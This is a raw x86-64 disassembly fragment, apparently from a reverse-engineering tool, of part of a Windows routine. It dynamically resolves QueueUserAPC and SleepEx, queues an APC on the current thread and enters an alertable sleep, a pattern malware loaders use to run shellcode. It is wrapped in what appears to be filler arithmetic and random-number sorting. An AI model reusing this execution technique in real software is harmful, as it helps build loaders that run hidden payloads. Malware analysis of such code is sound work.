movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movsd xmm1, qword [0x140006620]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movq xmm1, qword [0x140006630]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x774], 0x2e8
jle 0x140002909
mov rax, qword [rbp + 0x760]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5d8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov ecx, 0x360
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov dword [rbp + 0x770], 0
jmp 0x140002a94
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x770]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0xd7
jle 0x140002a47
mov dword [rbp + 0x770], 0
jmp 0x140002b84
cmp dword [rbp + 0x770], 0
je 0x140002af4
mov eax, dword [rbp + 0x770]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x770]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002b00
add dword [rbp + 0x770], 1
jmp 0x140002b84
mov eax, dword [rbp + 0x770]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5cc], eax
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, dword [rbp + 0x770]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x5d0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d0]
add rdx, rax
mov eax, dword [rbp + 0x5cc]
mov dword [rdx], eax
sub dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0xd7
jle 0x140002aaf
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x7e0]
add rsp, 0x870
pop rsi
pop rdi
pop rbp
ret